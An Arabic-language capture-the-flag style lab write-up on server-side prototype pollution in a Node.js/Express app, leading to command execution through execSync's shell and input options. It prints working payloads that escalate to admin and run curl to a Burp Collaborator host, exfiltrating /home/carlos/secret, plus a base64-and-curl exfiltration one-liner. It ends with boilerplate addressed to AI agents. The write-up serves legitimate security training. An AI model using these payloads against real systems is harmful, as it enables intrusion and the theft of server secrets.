> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).

# استخراج البيانات الحساسة عبر Prototype Pollution من جانب الخادم

### استخراج البيانات الحساسة عبر تلويث النموذج الأولي على جانب الخادم

**وصف المختبر**

يعتمد هذا المختبر على **Node.js** والإطار **Express**. التطبيق عرضة إلى **تلويث النموذج الأولي على جانب الخادم** لأنه يدمج بشكل غير آمن بيانات يتحكم بها المستخدم في كائنات JavaScript على جانب الخادم.

وبسبب هذا التكوين، من الممكن تلويث `Object.prototype` من أجل حقن وتنفيذ **أوامر نظام عشوائية**.

أهداف المختبر:

* تحديد نقطة تلويث للنموذج الأولي لإضافة خصائص عشوائية إلى `Object.prototype`.
* العثور على أداة مساعدة قابلة للاستخدام لحقن أوامر النظام وتنفيذها.
* ابدأ بتنفيذ أمر يكشف محتويات الدليل الشخصي لـ Carlos (`/home/carlos`) إلى **Burp Collaborator** الخادم.
* استخرج محتويات ملف سري في هذا الدليل وأرسل القيمة التي حصلت عليها.

الوصول الإداري متاح بالفعل. الاتصال ممكن باستخدام:

* **بيانات الاعتماد**: `wiener:peter`

<figure><img src="/files/fd9a07545497e7f9d4b09d53235c7ccc5d21d066" alt=""><figcaption></figcaption></figure>

**نقطة الدخول الضعيفة**

وظيفة **تعديل العنوان** معرضة لتلويث النموذج الأولي.

الطلب المُرسل:

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/d0df4604204547c0bb70631b638facd2d6edd692" alt=""><figcaption></figcaption></figure>

**تأكيد التلويث**

يؤكد رد الخادم `Object.prototype` التلويث وتصعيد الصلاحيات:

```json
{
 "username": "wiener",
 "firstname": "Peter",
 "lastname": "Wiener",
 "address_line_1": "مقر وينر",
 "address_line_2": "طريق وينر الأول",
 "city": "وينرفيل",
 "postcode": "BU1 1RP",
 "country": "المملكة المتحدة",
 "isAdmin": true,
 "test": "false",
 "json spaces": 1
}
```

**الوظائف الإدارية**

<figure><img src="/files/f2e537c2d45c8e15ee9066859cf125db0b37a262" alt=""><figcaption></figcaption></figure>

في لوحة الإدارة، **تشغيل الصيانة** خيار متاح. ترسل الطلب التالي:

{% code overflow="wrap" %}

```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```

{% endcode %}

تستخدم هذه الميزة `child_process.execSync()` على جانب الخادم. تتضمن هذه الدالة `الصدفة` و `الإدخال` المعلمات، وهو أداة مساعدة يمكن استغلالها عبر تلويث النموذج الأولي.

<figure><img src="/files/03b47e59e9181ecc9016e30007ff056d0291cfa4" alt="" width="563"><figcaption></figcaption></figure>

**حقن الأوامر عبر `execSync`**

في `__proto__` الحمولة الملوِّثة، يمكن التحكم في الخيارات الممرَّرة إلى `execSync`:

```bash
__proto__": {
    "shell":"vim",
    "input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

<figure><img src="/files/74502ac8c1e891e53818de57f204801a419307e7" alt=""><figcaption></figcaption></figure>

عند تنفيذ مهمة الصيانة، تفشل من جانب التطبيق، ولكن يتم إرسال استعلام إلى **Burp Collaborator**، مما يؤكد تنفيذ الأمر.

<figure><img src="/files/4bc56517daf6949bd46866d899a2ee963dc88929" alt=""><figcaption></figcaption></figure>

**استخراج الملف السري**

لاستخراج محتويات ملف Carlos السري، تُستخدم الحمولة التالية:

```json
"__proto__": {أو
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

أو:

```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```

الطلب الكامل:

```json
{
  "address_line_1": "مقر وينر",
  "address_line_2": "طريق وينر الأول",
  "city": "وينرفيل",
  "postcode": "BU1 1RP",
  "country": "المملكة المتحدة",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
 "__proto__": {
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```

**النتيجة**

يتلقى خادم Burp Collaborator طلبًا يحتوي على قيمة الملف السري:

```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```

<figure><img src="/files/6d457a5da09121e23e38226b33c3cb3b067c38b3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
